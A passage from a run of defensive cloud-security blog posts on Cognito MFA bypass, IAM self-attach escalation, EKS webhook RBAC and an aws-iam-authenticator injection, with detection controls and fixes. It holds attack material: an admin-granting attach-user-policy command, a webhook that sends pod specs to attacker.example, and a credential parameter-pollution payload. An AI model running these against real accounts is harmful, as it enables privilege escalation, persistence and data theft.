The MFA that was supposed to protect the account is never invoked. The attacker has a fully authenticated session with whatever permissions that user's Cognito group grants. This potentially includes IAM role assumption via the identity pool.

Why this is worse than "MFA not enabled"

When MFA is not enabled, everyone knows it. The scanner reports it. The risk register lists it. The team plans to fix it.

When MFA is enabled but bypassable, the organization has false confidence. The scanner says green. The auditor says compliant. The security team moves on to other priorities. Meanwhile, the recovery flow is a wide-open door that nobody is watching because the dashboard says it's locked.

This is the "MFA is theatre" pattern where security controls that exist but don't protect against the attack path they're supposed to block.

The three settings that create the bypass

{
  "MfaConfiguration": "ON",
  "AccountRecoverySetting": {
    "RecoveryMechanisms": [
      { "Priority": 1, "Name": "verified_email" }
    ]
  },
  "UserPoolAddOns": {
    "AdvancedSecurityMode": "OFF"
  }
}

Setting 1: MFA is ON. Correct. This forces MFA on the normal login path.

Setting 2: Recovery via email. This is the default. AWS documentation recommends email-based recovery. It works and it bypasses MFA because the recovery flow doesn't invoke the MFA challenge.

Setting 3: Advanced security is OFF. Cognito's Advanced Security Features (ASF) include adaptive authentication that can require MFA even during recovery-like flows. When ASF is off, recovery is unprotected. When ASF is on with full enforcement, Cognito can challenge suspicious recovery attempts. Most deployments leave ASF off because it costs $0.050 per MAU.

Each setting is individually defensible. MFA is on. That's the CIS benchmark recommendation. Email recovery is the AWS default. ASF costs money and most orgs defer it. No individual setting is wrong. The interaction between all three creates the bypass.

What your scanner checks vs. what matters

What the scanner checks	Result	What actually matters
Is MFA enabled?	✅ ON	Can a user authenticate WITHOUT MFA?
Is the password policy strong?	✅ 12 chars, mixed case	Can a user set a new password without MFA?
Is the user pool encrypted?	✅ KMS	Does the recovery flow invoke MFA?
Are advanced security features on?	❌ OFF	Does the recovery flow detect anomalies?

The scanner checks four settings independently. The bypass exists in the interaction between MFA enforcement (which applies to login) and recovery (which doesn't). No single-setting check asks "is there an authentication path that bypasses MFA?"

What compound detection finds

Analyzing this configuration with multiple reasoning engines on the same snapshot reveals the bypass that single-setting checks miss.

CEL predicate evaluation fires two individual findings: advanced security is off, and MFA recovery bypass is possible. The second finding is not "MFA is disabled". MFA is enabled. The finding is "a recovery path exists that doesn't invoke MFA."

The compound chain cognito_recoverybypass fires when both conditions are true simultaneously: MFA is enforced (so the team thinks they're protected) AND the recovery flow bypasses it (so they're not). The compound is the finding. Neither individual finding alone tells the story.

SMT satisfiability checking asks: "Does there exist an authentication path that produces a valid session without requiring a second factor?" Answer: sat. The witness is the recovery flow: email verification only, no TOTP challenge. After enabling ASF with full enforcement, the same query returns unsat. The adaptive authentication layer challenges suspicious recovery attempts.

Temporal drift analysis asks: "After enabling ASF, how far is the configuration from regressing?" Answer: 1 change. Disabling ASF (to save $0.050/MAU) reopens the bypass immediately. The drift margin quantifies the fragility of the fix.

Game-theoretic cost analysis asks: "What does the attack cost?" Answer: the cost of compromising one email address. With credential stuffing services selling access for single-digit dollars, the attacker's investment is minimal. The defender's fix: enable ASF at $0.050 per monthly active user. For a 10,000-user pool, that's $500/month. The ROI depends on what the authenticated session grants access to.

The fix

Two changes, in priority order:

Fix 1: Enable Advanced Security Features (immediate)

aws cognito-idp update-user-pool \
  --user-pool-id us-east-1_xxxxx \
  --user-pool-add-ons AdvancedSecurityMode=ENFORCED

With ASF in ENFORCED mode, Cognito applies adaptive authentication to all authentication events, including recovery flows. Suspicious recovery attempts (new device, new location, rapid succession) trigger additional challenges.

Cost: $0.050 per MAU. For most applications, this is small compared to the cost of a compromised account.

Fix 2: Restrict recovery mechanisms (defense in depth)

If your application supports it, change the recovery mechanism from email to admin-only:

aws cognito-idp update-user-pool \
  --user-pool-id us-east-1_xxxxx \
  --admin-create-user-config AllowAdminCreateUserOnly=true

This removes self-service recovery entirely. Users who lose access contact support. More friction, more security. Not appropriate for all applications, but the strongest closure of the bypass.

How to check your own environment

# List your user pools
aws cognito-idp list-user-pools --max-results 20

# For each pool, check the three settings
aws cognito-idp describe-user-pool \
  --user-pool-id <pool-id> \
  | jq '{
    mfa: .UserPool.MfaConfiguration,
    recovery: .UserPool.AccountRecoverySetting,
    advanced_security: .UserPool.UserPoolAddOns.AdvancedSecurityMode
  }'

If you see:

{
  "mfa": "ON",
  "recovery": { "RecoveryMechanisms": [{ "Name": "verified_email" }] },
  "advanced_security": "OFF"
}

You have the bypass. MFA is protecting the front door. The recovery flow is the unlocked side entrance.

The pattern beyond Cognito

MFA bypass via recovery appears in:

Azure AD: Password reset with email verification bypasses MFA unless Conditional Access policies explicitly cover the reset flow.
Okta: Self-service recovery with email factor only. MFA policy applies to authentication, not to account recovery, unless explicitly configured.
Custom applications: Any app where "forgot password" and "login" have different authentication requirements.

The pattern is architectural: login and recovery are separate flows with separate security policies. Security teams configure the login flow and assume the recovery flow inherits the same protections. It doesn't. Each flow needs its own security configuration.

The tools that check "is MFA enabled?" answer the wrong question. The right question is "do all authentication paths require the same level of assurance?" That's a compound question spanning multiple flows, settings, and service configurations. No single-setting check can ask it.

The scenarios in this article are modeled on real configurations found in production Cognito deployments. The analysis uses Stave, an open-source static analysis tool that evaluates cloud configurations via CEL predicates and exports standardized facts for consumption by external reasoning engines. All from air-gapped snapshots with no cloud credentials required.

One IAM Action Away From Admin: Self-Attach Privilege Escalation

Bala Paranj — Fri, 11 Sep 2026 11:42:43 +0000

In 2018, Spencer Gietzen at Rhino Security Labs published a catalogue of 24 ways to escalate from low-privilege IAM identities to full administrative access. Technique #1 was the simplest one in the entire catalogue:

aws iam attach-user-policy \
  --user-name $YOUR_OWN_USERNAME \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Three command-line arguments. No second permission, exploit or social engineering. If your user has iam:AttachUserPolicy and the policy's Resource includes your own ARN, you are one API call away from being able to do anything in the AWS account.

The bug ships to production routinely because the policy that admits it looks reasonable on paper:

{
  "Statement": [{
    "Effect": "Allow",
    "Action": [
      "iam:GetUser",
      "iam:ListAttachedUserPolicies",
      "iam:AttachUserPolicy"
    ],
    "Resource": "arn:aws:iam::111122223333:user/${aws:username}"
  }]
}

Self-management is the framing. Users should be able to read their own profile, list policies attached to themselves, and (the developer who wrote this thinks) attach policies needed for their work. The bug is the third action, the others are read-only.

Catastrophic Combination

Most IAM privesc techniques require chaining: one action sets up the privilege, a second action exercises it. Self-attach is the technique that needs no chain.

Step 1: aws iam attach-user-policy --user-name eve \
          --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
Step 2: <whatever the attacker wants>

AdministratorAccess grants Action: * on Resource: *. After Step 1, Eve has admin. Forever, until detected. There is no stage 2 prerequisite. Detection requires either an alarm on iam:AttachUserPolicy events (CloudTrail + EventBridge + SNS) or a daily IAM-policy diff that catches the new attachment.

The relevant AWS managed policies that grant admin or near-admin when attached:

ARN	What it grants
`arn:aws:iam::aws:policy/AdministratorAccess`	`Action: ` on `Resource: ` — full admin
`arn:aws:iam::aws:policy/IAMFullAccess`	All of IAM — escalate further by creating roles, attaching policies to others
`arn:aws:iam::aws:policy/PowerUserAccess`	Everything except IAM — read-write across services

Any one of these, attached to Eve, ends the game.

The System Invariant

Attaching policies to yourself is the privesc. The Resource scope makes the action a self-promotion primitive.

In Stave's observation schema, the engine pre-computes a boolean by walking each user's attached policies:

{
  "id": "arn:aws:iam::111122223333:user/eve",
  "type": "aws_iam_user",
  "properties": {
    "identity": {
      "kind": "user",
      "escalation": {
        "attach_user_policy_self": {
          "present": true,
          "target_user_arn": "arn:aws:iam::111122223333:user/eve",
          "resource_scope": "self"
        }
      },
      "policies": {
        "attached_policies": [...]
      }
    }
  }
}

escalation.attach_user_policy_self.present is the engine's verdict; attached_policies[].statements carries the evidence. CEL reads the boolean to fire the control. Z3 reads the statements to enumerate the specific managed policy whose attachment closes the escalation.

The Stave Control

id: CTL.IAM.ESCALATE.ATTACHUSERPOLICY.001
name: Principal Must Not Escalate via iam:AttachUserPolicy On Self
severity: critical
unsafe_predicate:
  all:
    - field: properties.identity.kind
      op: eq
      value: user
    - field: properties.identity.escalation.attach_user_policy_self.present
      op: eq
      value: true

Two leaf clauses, both required. Severity critical because the unsafe state is one API call away from full account admin. There's no graduated risk between "user has self-attach" and "user is admin" only the attacker's choice of when to make the call.

Why CEL is Not The Whole Conversation

CEL detects the unsafe state. The customer reading the finding asks the natural follow-up:

The answer matters because the prevention recommendation depends on it. If the only admin-granting policies in the AWS catalogue are well-known (and they are: AdministratorAccess, IAMFullAccess, PowerUserAccess), an SCP can deny attaching those ARNs to user identities. If there are also custom managed policies in the account that grant admin, the SCP needs to be broader.

CEL says "self-attach is admitted." Z3 enumerates the specific dangerous attachments.

The Z3 Witness Model

The companion program at stave/examples/iam-attach-user-policy-self/z3prove/ encodes:

0 = arn:aws:iam::aws:policy/ReadOnlyAccess        intended (no privesc)
1 = arn:aws:iam::aws:policy/AdministratorAccess   DANGEROUS
2 = arn:aws:iam::aws:policy/IAMFullAccess         DANGEROUS
3 = arn:aws:iam::aws:policy/PowerUserAccess       DANGEROUS

The Go side reads the user's policy statements and decides whether iam:AttachUserPolicy with the user's ARN as Resource is admitted by any Allow statement. If yes, every witness is attachable; if no, none are attachable.

Z3 then discharges:

unsafe = admitted ∧ dangerous ∧ ¬intended

Output for the broad policy:

=== before (self-attach allowed) ===
  user: arn:aws:iam::111122223333:user/eve
  policy statements: 2
    [0] Effect=Allow Action=[iam:GetUser iam:ListAttachedUserPolicies] Resource=arn:aws:iam::111122223333:user/eve
    [1] Effect=Allow Action=iam:AttachUserPolicy Resource=arn:aws:iam::111122223333:user/eve
  iam:AttachUserPolicy on self admitted: true
  dangerous witnesses: [...]
  verdict: SAT — witness: attach arn:aws:iam::aws:policy/AdministratorAccess → user becomes admin

The witness is concrete: attach arn:aws:iam::aws:policy/AdministratorAccess to Eve, Eve is admin. The statement-level evidence in the output makes the finding reviewable: "yes, statement [1] is the one that grants the dangerous action; everything in [0] is read-only."

After the policy is fixed:

=== after  (self-attach removed) ===
  policy statements: 1
    [0] Effect=Allow Action=[iam:GetUser iam:ListAttachedUserPolicies iam:ChangePassword] Resource=arn:aws:iam::111122223333:user/eve
  iam:AttachUserPolicy on self admitted: false
  verdict: UNSAT — no admin-granting policy is attachable

UNSAT iam:AttachUserPolicy is gone, so no managed policy is attachable, so no admin-granting policy is reachable. Note that iam:ChangePassword survives. That is a self-management primitive that's safe. It doesn't escalate; it just lets users reset their own password.

How This Bug Reaches Production

The pattern is consistent in incident write-ups and penetration-test reports:

The team needs users to be able to manage their own profile (display name, MFA device, password).
They write a "self-service IAM" policy. The first draft uses Action: ["iam:Get*", "iam:List*", "iam:UpdateLoginProfile", "iam:ChangePassword"] and is correctly read-only.
A user requests the ability to "attach the boto3 SDK policy" to themselves for a one-off task.
The path of least resistance is adding iam:AttachUserPolicy to the existing self-service policy.
The added action is reviewed in isolation — "this lets the user attach a specific SDK policy, fine." The reviewer doesn't run a privesc analysis against the combined policy.

The bug is in step 4: iam:AttachUserPolicy is not a self-service primitive, even though iam:ChangePassword is. The two actions look the same in the developer's mental model. Both are "the user managing their own profile". But only one of them admits attaching AdministratorAccess.

The Remediation

Three options, ordered by leverage:

Option A: Remove iam:AttachUserPolicy from the self-service policy. Users who need new permissions go through a request workflow that lands on a privileged admin role, not on the user's own attach action.

 {
   "Statement": [{
     "Effect": "Allow",
     "Action": [
       "iam:GetUser",
       "iam:ListAttachedUserPolicies",
-      "iam:AttachUserPolicy",
       "iam:ChangePassword"
     ],
     "Resource": "arn:aws:iam::111122223333:user/${aws:username}"
   }]
 }

Option B: Add a Condition denying admin-granting policy ARNs. If the team has a real use case for users to self-attach narrow policies (rare):

{
  "Effect": "Allow",
  "Action": "iam:AttachUserPolicy",
  "Resource": "arn:aws:iam::111122223333:user/${aws:username}",
  "Condition": {
    "ArnNotLike": {
      "iam:PolicyArn": [
        "arn:aws:iam::aws:policy/AdministratorAccess",
        "arn:aws:iam::aws:policy/IAMFullAccess",
        "arn:aws:iam::aws:policy/PowerUserAccess",
        "arn:aws:iam::*:policy/*Admin*"
      ]
    }
  }
}

This works but is brittle. Any new admin-granting managed policy AWS publishes or any custom managed policy in the account that pattern-matches none of the above defeats the deny.

Option C: SCP at the org level denying any user from attaching policies to themselves. The simplest layer:

{
  "Sid": "DenyUserSelfAttach",
  "Effect": "Deny",
  "Action": "iam:AttachUserPolicy",
  "Resource": "arn:aws:iam::*:user/${aws:username}",
  "Condition": {
    "ArnNotLike": {
      "aws:PrincipalArn": "arn:aws:iam::*:role/IAMAdministrator"
    }
  }
}

Only the explicit IAMAdministrator role can call iam:AttachUserPolicy on user resources. Every other identity, including the user themselves, hits the deny. This is the only layer that catches custom managed policies that an admin published earlier and forgot about.

The Prevention Lesson

Three layers, in priority order:

Service Control Policy Option C above is the strongest layer. Denies the action class for non-bootstrap roles. Out-of-scope for this article: SCPs require AWS Organizations and the operator's role to be the org admin; small AWS estates skip them and rely on the next two layers.

IaC module enforcement. The Terraform / CDK / Pulumi module that creates a self-service IAM policy takes parameter flags for "what kinds of self-management are allowed" and never admits the iam:AttachUserPolicy shape on a user's own ARN. The module is the only sanctioned way to write a self-service policy in the org; bypassing it requires a code review that explicitly authorises the bypass.

CI invariant check. stave apply runs in CI against the pre-merge observation snapshot. A PR that introduces a user with escalation.attach_user_policy_self.present: true fails on CTL.IAM.ESCALATE.ATTACHUSERPOLICY.001 with exit code 3. The example shipped with this article is the template with same predicate and exit code.

Checklist

No user has iam:AttachUserPolicy whose Resource includes the user's own ARN
Self-service IAM policies are limited to read-only and password-reset actions: iam:Get*, iam:List*, iam:ChangePassword, iam:UpdateLoginProfile, iam:ResyncMFADevice
Service Control Policy denies iam:AttachUserPolicy on user resources for any principal except the IAM-admin role
stave apply runs in CI; PRs with attach_user_policy_self.present: true fail
CloudTrail alarm fires on every AttachUserPolicy event whose target is a user (not a role); SOC reviews each event

The Rhino catalogue lists 24 IAM privesc techniques. This one is technique #1 because it is the cheapest. The right prevention is not "audit IAM more carefully", humans miss this in code review consistently. The right prevention is making the configuration shape impossible to ship: the SCP refuses to apply it, the IaC module refuses to write it, the CI gate refuses to merge it.

The example at iam-attach-user-policy-self has two binaries side by side: a CEL evaluation via pkg/stave.Apply (asserts the unsafe state when self-attach is admitted) and a Z3 SAT prover (extracts the specific managed policy ARN typically arn:aws:iam::aws:policy/AdministratorAccess whose attachment closes the escalation). The Z3 binary lives in a sibling Go module so its libz3 link stays out of Stave's main vendored tree. Stave detects this pattern and 31 other H1-grounded scenarios from local AWS configuration snapshots, without cloud credentials.

The Webhook is the Persistence: RBAC Misconfiguration in EKS

Bala Paranj — Thu, 10 Sep 2026 11:07:54 +0000

A Kubernetes admission webhook is a piece of code that intercepts every API call before the API server commits it. Mutating webhooks can rewrite pod specs, inject sidecars, modify environment variables, change container images. Validating webhooks can deny requests. The cluster's behaviour depends on what its webhooks say it should do.

The RBAC permission that lets a subject configure admission webhooks is therefore one of the highest-blast-radius permissions in the entire cluster:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: acme-platform-controller
rules:
  - apiGroups: ["admissionregistration.k8s.io"]
    resources: ["mutatingwebhookconfigurations"]
    verbs: ["create", "update", "patch", "delete"]

A subject (user, group, or ServiceAccount) bound to this ClusterRole can register a mutating webhook of their choosing. Once registered, every subsequent API call flows through it. Pod specs get the attacker's init-container; secret reads return the attacker's data; the webhook itself reports normal behaviour to anyone auditing the cluster.

This pattern is established enough to have its own dedicated detection logic. It still ships to production routinely because the role it grants is named "platform controller" or "operator manager" or "admission controller manager" are names that make the permission set sound foundational rather than alarming.

Webhook Write

A mutating webhook configuration looks like this:

apiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata:
  name: silent-persistence
webhooks:
  - name: silent-persistence.attacker.example
    clientConfig:
      url: https://attacker.example/mutate
    rules:
      - apiGroups: [""]
        apiVersions: ["v1"]
        operations: ["CREATE"]
        resources: ["pods"]
    sideEffects: None
    admissionReviewVersions: ["v1"]
    failurePolicy: Ignore

failurePolicy: Ignore means: if the webhook is unreachable, the API request proceeds normally. That's the operational-safety setting; it's also the deniability setting. The webhook is invisible during upgrades (when the attacker's server is offline) and silently active during normal operation. SOC dashboards show "100% pod creations succeed" because they do. Some of them now also include a sidecar.

sideEffects: None is a lie the attacker tells the API server. The actual side effect is exfiltration of pod specs to attacker.example. This is intentional. The admission API doesn't verify the claim; it just trusts the webhook author.

Why the Permission Slipped In

The pattern is consistent across incident write-ups:

The team installs an operator (Argo CD, Cert Manager, an in-house deployment controller).
The operator's documentation says it needs RBAC for "webhook configuration management" because the operator itself uses an admission webhook for validation.
The team grants * on mutatingwebhookconfigurations because the documentation said so and the install Helm chart templated it that way.
The operator runs as a ServiceAccount in a namespace that other workloads can write to.
An attacker who compromises any workload that can exec into the operator's pod, or read its ServiceAccount token, inherits the webhook-write permission.

The audit boundary the team thought they had is "the operator can configure its own webhook" turned out to be wider: "anything that can reach the operator's identity can configure any webhook." The role that should have been scoped to a single named webhook (using resourceNames:) was scoped to the entire resource class.

The System Invariant

Stave's observation schema models this through a k8s_cluster_role asset whose rbac block carries both the engine's verdict and the underlying rules:

{
  "id": "acme-platform-controller",
  "type": "k8s_cluster_role",
  "vendor": "kubernetes",
  "properties": {
    "k8s": {
      "kind": "cluster_role",
      "name": "acme-platform-controller",
      "rbac": {
        "has_webhook_config_access": true,
        "rules": [
          {
            "apiGroups": ["admissionregistration.k8s.io"],
            "resources": ["mutatingwebhookconfigurations"],
            "verbs": ["create", "update", "patch", "delete"]
          }
        ]
      },
      "bound_subjects": [
        "ServiceAccount/platform/acme-platform"
      ]
    }
  }
}

has_webhook_config_access is the engine's verdict. It is true if any rule grants a write verb on either webhook configuration resource. The underlying rules array carries the evidence; the bound_subjects list says who gets the permission once the role binding is in place.

The Stave Control (CEL Predicate)

id: CTL.K8S.RBAC.WEBHOOK.001
name: RBAC Must Restrict Admission Webhook Configuration Access
severity: high
unsafe_predicate:
  all:
    - field: properties.k8s.kind
      op: eq
      value: cluster_role
    - field: properties.k8s.rbac.has_webhook_config_access
      op: eq
      value: true

Two leaf clauses, both required. Severity high where webhook-write is one API call away from persistence-as-a-service, but it's not yet active exploitation; the control fires on the capability, not on a confirmed compromise.

Why Z3 Doesn't Help Here

Same shape as bucket name dangling, .git exposure, and CloudTrail stopped: this is a presence check at the collector layer, not a reachability question. The collector walks the role's verb set and emits a boolean. CEL's predicate is a two-leaf conjunction.

A different and harder question "given the cluster's full RBAC binding graph, which subjects can transitively reach webhook-write through aggregated ClusterRoles?" would be reachability over the binding graph and would benefit from Z3. That work is out of scope for this example; it lives in the same neighbourhood as IAM transitive-trust analysis.

Reproducing The Detection

The repository has an example at stave/examples/eks-rbac-webhook-config-access/:

go run ./examples/eks-rbac-webhook-config-access before

Captured stdout:

=== before (webhook write granted) ===
  status: NON_COMPLIANT   total_assets=1   violations=1
  CTL.K8S.RBAC.WEBHOOK.001 fired on 1 asset(s):
    - acme-platform-controller   severity=high   exposure_score=76.64
  assertion: fires=true (expected) ✓

After the role is scoped to read-only verbs:

=== after  (read-only) ===
  status: COMPLIANT   total_assets=1   violations=0
  CTL.K8S.RBAC.WEBHOOK.001: no findings
  assertion: fires=false (expected) ✓

The Remediation

The minimal fix: replace write verbs with read verbs:

 rules:
   - apiGroups: ["admissionregistration.k8s.io"]
     resources: ["mutatingwebhookconfigurations"]
-    verbs: ["create", "update", "patch", "delete"]
+    verbs: ["get", "list", "watch"]

If the operator legitimately needs to manage its own webhook (e.g., Cert Manager refreshing its CA certificate in the webhook config), use resourceNames to scope the write to a specific named resource:

rules:
  - apiGroups: ["admissionregistration.k8s.io"]
    resources: ["mutatingwebhookconfigurations"]
    resourceNames: ["cert-manager-webhook"]
    verbs: ["update", "patch"]
  - apiGroups: ["admissionregistration.k8s.io"]
    resources: ["mutatingwebhookconfigurations"]
    verbs: ["get", "list", "watch"]

The first rule grants update/patch only on the named webhook. The second rule grants read across the resource class so the controller can list other webhooks for inventory purposes. An attacker who compromises the operator can refresh the operator's own webhook (limited blast radius) but cannot register new webhooks.

The Prevention Lesson

Three layers, in priority order:

OPA Gatekeeper / Kyverno policy denying any ClusterRole or Role that grants write verbs on webhook configurations without resourceNames:

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: restrict-webhook-rbac
spec:
  validationFailureAction: Enforce
  rules:
    - name: deny-unscoped-webhook-write
      match:
        any:
          - resources:
              kinds: [ClusterRole, Role]
      validate:
        message: |
          ClusterRoles must not grant write verbs on
          webhook configurations without resourceNames.
        deny:
          conditions:
            - key: "{{ request.object.rules[?contains(resources, 'mutatingwebhookconfigurations') && (contains(verbs, 'create') || contains(verbs, 'update') || contains(verbs, 'patch') || contains(verbs, 'delete')) && length(resourceNames || `[]`) == `0`] }}"
              operator: NotEquals
              value: []

The policy refuses the role at admission time. The deny is the strongest enforcement layer where the unsafe shape never reaches the cluster's RBAC store.

Helm chart / operator install audit. Every operator the cluster installs goes through a chart review that explicitly checks the RBAC manifest for unscoped webhook writes. The reviewer asks "does this operator need write on all webhooks, or just its own?" Most answer "just its own" once asked.

stave apply in CI against the post-deploy observation snapshot. The example shipped with this article is the template; PRs that introduce a k8s_cluster_role with has_webhook_config_access: true produce exit code 3.

Checklist

No ClusterRole or Role grants create / update / patch / delete on mutatingwebhookconfigurations or validatingwebhookconfigurations without resourceNames scoping
Operator install reviews include RBAC analysis with explicit attention to admission-webhook verbs
OPA Gatekeeper or Kyverno enforces the no-unscoped-webhook-write rule at admission
stave apply runs in CI against post-deploy observations; PRs with has_webhook_config_access: true fail
Audit logs forward webhook-configuration mutation events (mutatingwebhookconfigurations.create / update) to the SOC for review

The webhook is the persistence. The RBAC permission is how the persistence becomes available. The cluster's configuration audits should treat "who can write to admission webhooks" with the same weight as "who can deploy to production". Because they are, structurally, the same question.

The example at eks-rbac-webhook-config-access is a self-contained Go program that loads two fixture snapshots, runs pkg/stave.Apply, asserts that CTL.K8S.RBAC.WEBHOOK.001 fires on the write-verbs fixture and is silent on the read-only remediation, and exits zero when both assertions hold. Stave detects this pattern and 31 other H1-grounded scenarios from local AWS / EKS configuration snapshots, without cloud credentials.

The Auth Template That Trusted Its Caller: AccessKeyID Injection in EKS

Bala Paranj — Wed, 09 Sep 2026 11:39:59 +0000

When a user's kubectl command authenticates to an Amazon EKS cluster, three components cooperate to turn an AWS identity into a Kubernetes user:

The aws-iam-authenticator client signs an STS GetCallerIdentity request and sends the URL to the cluster as a presigned bearer token.
The cluster's webhook authenticator parses the URL, verifies the signature, and extracts the AWS principal's identity.
A configured identity-mapping template turns that AWS principal into a Kubernetes user. For example, arn:aws:iam::...:role/EksAdmin becomes the Kubernetes user eks-admin.

Bug lived in step 3. The mapping template historically supported the {{AccessKeyID}} substitution, like this:

- userARN: "arn:aws:iam::*:role/*"
  username: "user:{{AccessKeyID}}"
  groups:
    - "system:masters"

The intent was reasonable: include the AWS access key ID in the Kubernetes username for audit correlation. The AccessKeyID came from the bug. The webhook parsed it from the client-supplied URL's query parameters X-Amz-Credential rather than from the STS response that AWS itself returned.

In a presigned URL, the query parameters are signed for delivery, not authenticated as content. AWS APIs normalise duplicate parameters by some specific rule (last-wins, case-insensitive, etc.); the aws-iam-authenticator URL parser used a slightly different rule. The mismatch is an HTTP parameter pollution primitive: an attacker adds a case-variant duplicate (x-amz-credential lowercase, when AWS expects mixed-case X-Amz-Credential), and the two parsers see different values for what is supposedly the same parameter.

Client sends:
  X-Amz-Credential=ATTACKER_KEY/...
  x-amz-credential=VICTIM_KEY/...   (case-variant duplicate)

AWS STS sees:                  AccessKeyId=VICTIM_KEY
aws-iam-authenticator sees:    AccessKeyID=ATTACKER_KEY

STS authenticates the request as VICTIM, returns "yes, that's a valid AWS principal." The mapping template substitutes {{AccessKeyID}} with ATTACKER_KEY. The Kubernetes user becomes user:ATTACKER_KEY. But the AWS-side authentication succeeded for VICTIM. A different user lands in the cluster than AWS authorised.

This is the disclosed bug behind Kubernetes HackerOne 1580493. The fix: substitute from server-derived values (SessionName, role ARN) instead of from anything the client influences.

The Fix is Two Words

The remediation is the smallest possible diff:

- username: "user:{{AccessKeyID}}"
+ username: "user:{{SessionName}}"

SessionName comes from the STS response. The AWS side computed, signed, and returned it. The client cannot influence it through the request. The template substitution is now consuming a value with clear provenance.

Or skip templating and use ARN-based mapping:

- userARN: "arn:aws:iam::*:role/EksAdmin"
  username: "eks-admin"

When the matching is on the AWS principal's ARN (also from the STS response, also signed), the mapping is one-to-one and there's no client-supplied value left to inject.

The System Invariant

In Stave's observation schema, the identity-mapping state is captured under the cluster's auth block:

{
  "id": "acme-eks-cluster",
  "type": "k8s_cluster",
  "vendor": "kubernetes",
  "properties": {
    "auth": {
      "kind": "cluster",
      "webhook": {
        "provider": "aws-iam-authenticator",
        "identity_mapping": {
          "uses_access_key_id": true,
          "templates": [
            "user:{{AccessKeyID}}"
          ]
        }
      }
    }
  }
}

uses_access_key_id is the engine's verdict. It is true when any template string contains the {{AccessKeyID}} placeholder. The templates array carries the underlying evidence. The vendor field is kubernetes (not aws) because the asset is a Kubernetes-domain resource even though the cluster runs on AWS. Stave's vendor heuristic uses scope tags to filter applicable controls, and mis-tagging this as aws would silently exclude the control from running.

The Stave Control

id: CTL.K8S.AUTH.ACCESSKEYMAP.001
name: K8s Clusters Must Not Map Identity via AccessKeyID
severity: high
unsafe_predicate:
  all:
    - field: properties.auth.kind
      op: eq
      value: cluster
    - field: properties.auth.webhook.identity_mapping.uses_access_key_id
      op: eq
      value: true

Two leaf clauses, both required. Severity high where the cluster's identity layer is one URL parameter away from impersonation, but the control fires on the configuration shape, not on a confirmed exploitation.

Why Z3 Doesn't Help

This is a presence check at the collector layer. The collector inspects the template strings for {{AccessKeyID}} and emits a boolean. CEL evaluates the boolean.

A reachability question "given the URL parser's normalisation behaviour and the STS response format, is there an HTTP encoding that yields a different AccessKeyID on each side?" would be Z3-shaped, but that's URL-parser semantics, not configuration semantics.

Reproducing The Detection

The repository ships a self-contained example at
stave/examples/eks-aws-auth-template-injection/:

go run ./examples/eks-aws-auth-template-injection before

Captured stdout:

=== before ({{AccessKeyID}} template) ===
  status: NON_COMPLIANT   total_assets=1   violations=1
  CTL.K8S.AUTH.ACCESSKEYMAP.001 fired on 1 asset(s):
    - acme-eks-cluster   severity=high   exposure_score=76.64
  assertion: fires=true (expected) ✓

After the template is fixed:

=== after  ({{SessionName}} + role ARN) ===
  status: COMPLIANT   total_assets=1   violations=0
  CTL.K8S.AUTH.ACCESSKEYMAP.001: no findings
  assertion: fires=false (expected) ✓

Why This Bug Slipped Past Reviews

The mapping template syntax itself was sanctioned in the upstream documentation. Operators who wrote {{AccessKeyID}} were following the example. The documentation didn't make the parser-mismatch risk visible. The substitution looked semantically similar to {{SessionName}}.

The deeper issue is the layer the value crosses. {{SessionName}} and the role ARN are values STS returns to the authenticator after signature verification. {{AccessKeyID}} is a value the authenticator reads back from the request URL which means it's already been consumed by AWS for signature verification, but the verification is about the request's integrity, not about the field's value being authentic. Two different verifications on two different layers.

This is a recurring pattern in cloud-provider auth flows: the client provides several values, the provider authenticates the request, then a downstream component reads one of those values back and treats it as authenticated by association. The downstream component's trust assumption is unjustified.

The Remediation

The minimal fix: replace {{AccessKeyID}} with {{SessionName}} in every identity-mapping template. The deeper fix: stop using template substitution for user identity at all. Use ARN-based exact matching:

mapRoles: |
  - rolearn: arn:aws:iam::111122223333:role/EksAdmin
    username: eks-admin
    groups:
      - system:masters
  - rolearn: arn:aws:iam::111122223333:role/EksDeveloper
    username: eks-developer
    groups:
      - acme:developers

ARN-based mapping has the property that there is no client-controlled substring in the username. The substitution surface vanishes; no parser-mismatch exists to exploit.

For clusters that legitimately need session-scoped usernames (rare, mostly for CI integrations where the IAM role is shared across many concurrent jobs), {{SessionName}} provides identifiers that come from the STS response and survive the parameter-pollution attack.

The Prevention Lesson

Three layers, in priority order:

Helm chart enforcement. The aws-auth ConfigMap is typically managed via a Helm chart or Terraform module. The chart's variable schema rejects any value matching {{AccessKeyID}} at template-render time. The chart fails to render rather than producing an unsafe ConfigMap.

Admission policy. For clusters where the ConfigMap is edited directly, OPA Gatekeeper or Kyverno watches the aws-auth ConfigMap and denies any update whose mapRoles / mapUsers content contains {{AccessKeyID}}. The deny fires at admission time before the misconfiguration reaches the cluster.

stave apply in CI against the post-deploy observation snapshot. The example shipped with this article is the template. PRs that introduce a cluster with uses_access_key_id: true produce exit code 3.

Checklist

Identity-mapping templates in aws-iam-authenticator do not contain {{AccessKeyID}} (use {{SessionName}} or ARN-based exact matching)
Helm chart / Terraform module validates the template content at render time
OPA Gatekeeper or Kyverno denies aws-auth ConfigMap updates that introduce {{AccessKeyID}}
stave apply runs in CI against post-deploy observations; PRs with uses_access_key_id: true fail
Cluster authentication audits explicitly verify the substitution sources for identity-mapping templates

The substitution looked safe because the syntax was documented. The bug was that the documented syntax trusted client-controllable input. The lesson is upstream of EKS: any auth template whose substitutions cross a trust boundary needs an explicit declaration of which values came from where.

The example at eks-aws-auth-template-injection is a self-contained Go program that loads two fixture snapshots, runs pkg/stave.Apply, asserts that CTL.K8S.AUTH.ACCESSKEYMAP.001 fires on the template-injection fixture and is silent on the remediated one, and exits zero when both assertions hold. Stave detects this pattern and 31 other H1-grounded scenarios from local AWS / EKS configuration snapshots, with no cloud credentials.

Your Authenticated Users Can Escalate to Admin. Your Scanner Doesn't Check.

Bala Paranj — Tue, 08 Sep 2026 12:09:01 +0000

Your Cognito identity pool maps authenticated users to an IAM role. That role was created with the permissions the app needed at launch. Over eighteen months, the app grew. The role's policy grew with it. Today it has s3:*, dynamodb:*, and iam:PassRole. These permissions were added one by one during feature sprints, each individually approved, each "just for this one thing."

